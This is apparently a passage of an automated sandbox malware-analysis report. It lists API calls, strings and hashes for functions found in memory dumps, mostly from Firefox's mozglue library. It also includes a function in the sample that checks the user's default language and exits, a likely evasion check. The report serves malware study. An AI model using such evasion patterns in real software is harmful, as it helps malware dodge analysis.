Opcode ID: 7a0fe965e4b8c5e83676966403d75fc46aa53e6f530db226420aa47ddf989a73
Instruction ID: ee2c9994908fd4f1bb1ef819c71cb4246df145c4b3174521d2dffdb3fa9602e3
Opcode Fuzzy Hash: 7a0fe965e4b8c5e83676966403d75fc46aa53e6f530db226420aa47ddf989a73
Instruction Fuzzy Hash: 23719C70909B419BD712CF68C69055AF3F4FF99325B498619E89A5BB01EF30F8C9CB81

Function 6CADDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CADDDCF

Part of subcall function 6CABFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABFA4B

Part of subcall function 6CAD90E0: free.MOZGLUE(?,00000000,?,?,6CADDEDB), ref: 6CAD90FF
Part of subcall function 6CAD90E0: free.MOZGLUE(?,00000000,?,?,6CADDEDB), ref: 6CAD9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CADDE0D
free.MOZGLUE(00000000), ref: 6CADDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CADDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CADDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CADDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CACDEFD,?,6CA94A68), ref: 6CADDF32

Part of subcall function 6CADDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CADDB86
Part of subcall function 6CADDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CADDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CACDEFD,?,6CA94A68), ref: 6CADDF65
free.MOZGLUE(?), ref: 6CADDF80

Part of subcall function 6CAA5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAA5EDB
Part of subcall function 6CAA5E90: memset.VCRUNTIME140(6CAE7765,000000E5,55CCCCCC), ref: 6CAA5F27
Part of subcall function 6CAA5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAA5FB2

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: fc49db9eddc58058b0305c5d844d708cf10645479dc2ae75a5c95ee83ce1a3a7
Instruction ID: 9fdadf258489b4ef854c591943666d4eed0be670d5b89731bd6b8542a56ce203
Opcode Fuzzy Hash: fc49db9eddc58058b0305c5d844d708cf10645479dc2ae75a5c95ee83ce1a3a7
Instruction Fuzzy Hash: CC51F876F016019BD7208B28D9806AEB376BF95318F9B451CD81A53B00DB31F89DCFA2

Function 6CAE5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CAE5C8C,?,6CABE829), ref: 6CAE5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CAE5C8C,?,6CABE829), ref: 6CAE5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CAE5C8C,?,6CABE829), ref: 6CAE5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CAE5C8C,?,6CABE829), ref: 6CAE5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CAE5C8C,?,6CABE829), ref: 6CAE5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CAE5C8C,?,6CABE829), ref: 6CAE5DC9
std::_Facet_Register.LIBCPMT ref: 6CAE5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CAE5C8C,?,6CABE829), ref: 6CAE5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CAE5C8C,?,6CABE829), ref: 6CAE5E45

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 1700c5e7d1d65ec23dab12079794e489695e6a8aea5460749784becdcaeb4947
Instruction ID: 0a2d3f3a336ff4d90cb87800d60f5cc2410b225013f138657e7a4729c85ebf48
Opcode Fuzzy Hash: 1700c5e7d1d65ec23dab12079794e489695e6a8aea5460749784becdcaeb4947
Instruction Fuzzy Hash: 264171307002058FDB00DFA5D8D8AAEB7B9EF5D354F18416CE50697791EB30E845CBA1

Function 6CABCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA831A7), ref: 6CABCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CABCFA4, 6CABCFB8
<jemalloc>, xrefs: 6CABCF9F, 6CABCFB3

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 7438bbb4fcaa7cb88aa00ce940e6799aee22f0739a777d57a51c1f29fbf465b8
Instruction ID: e0e88f76361b6b3da88f9b1ec86902ff3ab500411d87181826526f230ed7bada
Opcode Fuzzy Hash: 7438bbb4fcaa7cb88aa00ce940e6799aee22f0739a777d57a51c1f29fbf465b8
Instruction Fuzzy Hash: B331A371741205ABEF04AFB98C45FAE7B79BB41B1CF244018F611BBA80DB70D5808BA1

Function 6CA8ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA8F100: LoadLibraryW.KERNEL32(shell32,?,6CAFD020), ref: 6CA8F122
Part of subcall function 6CA8F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA8F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA8ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA8EDCC
CreateFileW.KERNEL32 ref: 6CA8EE08
free.MOZGLUE(00000000), ref: 6CA8EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA8EE32

Part of subcall function 6CA8EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA8EBB5
Part of subcall function 6CA8EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CABD7F3), ref: 6CA8EBC3
Part of subcall function 6CA8EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CABD7F3), ref: 6CA8EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA8EDC1

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 1812ff8575fe7da6edbc7b1e004bbee9c2357830792d927b9823176e441289a0
Instruction ID: 735ecf64b9ed281cdf0cd641b921a807c66a7dff2561c58aeb50114326c2a119
Opcode Fuzzy Hash: 1812ff8575fe7da6edbc7b1e004bbee9c2357830792d927b9823176e441289a0
Instruction Fuzzy Hash: EA51C075D06204DBDB10DF68C9406EEB7B1AF59318F48852DE8556B740E730A9CDC7A2

Function 6CAFA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CAFA565

Part of subcall function 6CAFA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAFA4BE
Part of subcall function 6CAFA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAFA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CAFA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAFA6B6

Strings

z, xrefs: 6CAFA6AE
0, xrefs: 6CAFA5FB

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: ad9e009377cb74af37e86c0e2abb01152cded83c543004a5bc417dfc476965bd
Instruction ID: a955039ea6a25f3190b1e5f60c6c87381cc3fc8e781562c88b5d55aa9c15d8e0
Opcode Fuzzy Hash: ad9e009377cb74af37e86c0e2abb01152cded83c543004a5bc417dfc476965bd
Instruction Fuzzy Hash: 71412D719097459FC381DF28C48069FBBE5BF89354F408A2EF4A987750E730D989CB92

Function 6CAC9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CABAB89: EnterCriticalSection.KERNEL32(6CB0E370,?,?,?,6CA834DE,6CB0F6CC,?,?,?,?,?,?,?,6CA83284), ref: 6CABAB94
Part of subcall function 6CABAB89: LeaveCriticalSection.KERNEL32(6CB0E370,?,6CA834DE,6CB0F6CC,?,?,?,?,?,?,?,6CA83284,?,?,6CAA56F6), ref: 6CABABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA94A68), ref: 6CAC945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAC9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAC9482
__Init_thread_footer.LIBCMT ref: 6CAC949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAC946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAC9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAC947D

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 55413c5bdc30121b293990a35c43614757d2981ca95f5c88164b155cc5488f16
Instruction ID: 810ce0a812ac7c248e336605e5b710bc83efd1f8d072865dec3c8ec3108a640a
Opcode Fuzzy Hash: 55413c5bdc30121b293990a35c43614757d2981ca95f5c88164b155cc5488f16
Instruction Fuzzy Hash: 4001D874B0010187D7009B6CDB11A8D37BEAB1533DF08453ADD0697B81E735D8D4895B

Function 00576770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00576774
ExitProcess.KERNEL32 ref: 005767A5
ExitProcess.KERNEL32 ref: 005767AF
ExitProcess.KERNEL32 ref: 005767B9
ExitProcess.KERNEL32 ref: 005767C3
ExitProcess.KERNEL32 ref: 005767CD

Strings

*, xrefs: 0057678C

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 6eb36be2f593020e9f1712c6631be9e4f3c457970e739f9da3d08613f229b99b
Instruction ID: d8823564143bfb8b7464b6e0fc92d0cd12a97481d3782157391c37d75159822d
Opcode Fuzzy Hash: 6eb36be2f593020e9f1712c6631be9e4f3c457970e739f9da3d08613f229b99b
Instruction Fuzzy Hash: E9F05E3290421AFFD3849FE0E90977D7B70FB46703F048198E60986290D7784F41EB9A

Function 6CAFB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CAFB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CAFB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CAFB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CAFB5F4
__Init_thread_footer.LIBCMT ref: 6CAFB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CAFB61F
std::_Facet_Register.LIBCPMT ref: 6CAFB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFB655

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 793881975e08a492461c20356647479a98cd2ff803e86fad5b864445ef7d2a50
Instruction ID: 46d6b0aed69bb37f23fcc11346e1ca253695d8a9d1589b70fa0405291f051001
Opcode Fuzzy Hash: 793881975e08a492461c20356647479a98cd2ff803e86fad5b864445ef7d2a50
Instruction Fuzzy Hash: 2531C271B00214CFCF00DF69D8989AEB7B9FF9A324B14065DE912A7740DB34A84ACF91

Function 6CAD1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAD1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CAD1BE3,?,?,6CAD1D96,00000000), ref: 6CAD1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CAD1BE3,?,?,6CAD1D96,00000000), ref: 6CAD1D4C
GetCurrentThreadId.KERNEL32 ref: 6CAD1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAD1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAD1DDA

Part of subcall function 6CAD1EF0: GetCurrentThreadId.KERNEL32 ref: 6CAD1F03
Part of subcall function 6CAD1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CAD1DF2,00000000,00000000), ref: 6CAD1F0C
Part of subcall function 6CAD1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAD1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CAD1DF4

Part of subcall function 6CA9CA10: malloc.MOZGLUE(?), ref: 6CA9CA26

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: a61a4fd6a3e4b6e4f5846033b95d6a015178634f3b5ddb3c82fe75fb671e614e
Instruction ID: 057bf2c1c943921d8359680d829aca4f7b002e406c018767ac18a30da35389d6
Opcode Fuzzy Hash: a61a4fd6a3e4b6e4f5846033b95d6a015178634f3b5ddb3c82fe75fb671e614e
Instruction Fuzzy Hash: 5E4168B52007059FCB10CF28C489A66BBF9FF59328F10442DEA9A87B41DB71F858CB90

Function 6CAC84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAC84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAC850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAC851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAC855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAC856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAC85AC

Part of subcall function 6CAC7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAC85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAC767F
Part of subcall function 6CAC7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAC85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAC7693
Part of subcall function 6CAC7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAC85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAC76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAC85B2

Part of subcall function 6CAA5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAA5EDB
Part of subcall function 6CAA5E90: memset.VCRUNTIME140(6CAE7765,000000E5,55CCCCCC), ref: 6CAA5F27
Part of subcall function 6CAA5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAA5FB2

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 91802922db3a00db9d084d42a93a49e198bd958b62778e7b33ac0127cfe1cd2b
Instruction ID: 17365597c61cc759a09af493e9b2cca39710af4b0418151a4f2e8d88cf595261
Opcode Fuzzy Hash: 91802922db3a00db9d084d42a93a49e198bd958b62778e7b33ac0127cfe1cd2b
Instruction Fuzzy Hash: EA217F743006059FDB14DB24D888A6AB7B9BF8430DF18482DE55BC3B41EB71F998CB52

Function 6CACF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CABCBE8: GetCurrentProcess.KERNEL32(?,6CA831A7), ref: 6CABCBF1
Part of subcall function 6CABCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA831A7), ref: 6CABCBFA

Part of subcall function 6CAC9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA94A68), ref: 6CAC945E
Part of subcall function 6CAC9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAC9470
Part of subcall function 6CAC9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAC9482
Part of subcall function 6CAC9420: __Init_thread_footer.LIBCMT ref: 6CAC949F

GetCurrentThreadId.KERNEL32 ref: 6CACF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CACF598), ref: 6CACF621

Part of subcall function 6CAC94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAC94EE
Part of subcall function 6CAC94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAC9508

GetCurrentThreadId.KERNEL32 ref: 6CACF637
AcquireSRWLockExclusive.KERNEL32(6CB0F4B8,?,?,00000000,?,6CACF598), ref: 6CACF645
ReleaseSRWLockExclusive.KERNEL32(6CB0F4B8,?,?,00000000,?,6CACF598), ref: 6CACF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CACF62A

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: d2c6ceff31d28fc2f51dfb27f80d06b43820f2179f065b09301812731ebf1079
Instruction ID: ba464810c18dc5c9acc3ca37e503e3b7860d7bcd1a6d01fd3de9f3ec42e98486
Opcode Fuzzy Hash: d2c6ceff31d28fc2f51dfb27f80d06b43820f2179f065b09301812731ebf1079
Instruction Fuzzy Hash: FA11E335301205ABDA04AF28CA48DE9BB79FF9636DF10041DEA0587F01CB71AC59CBA5

Function 005792E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

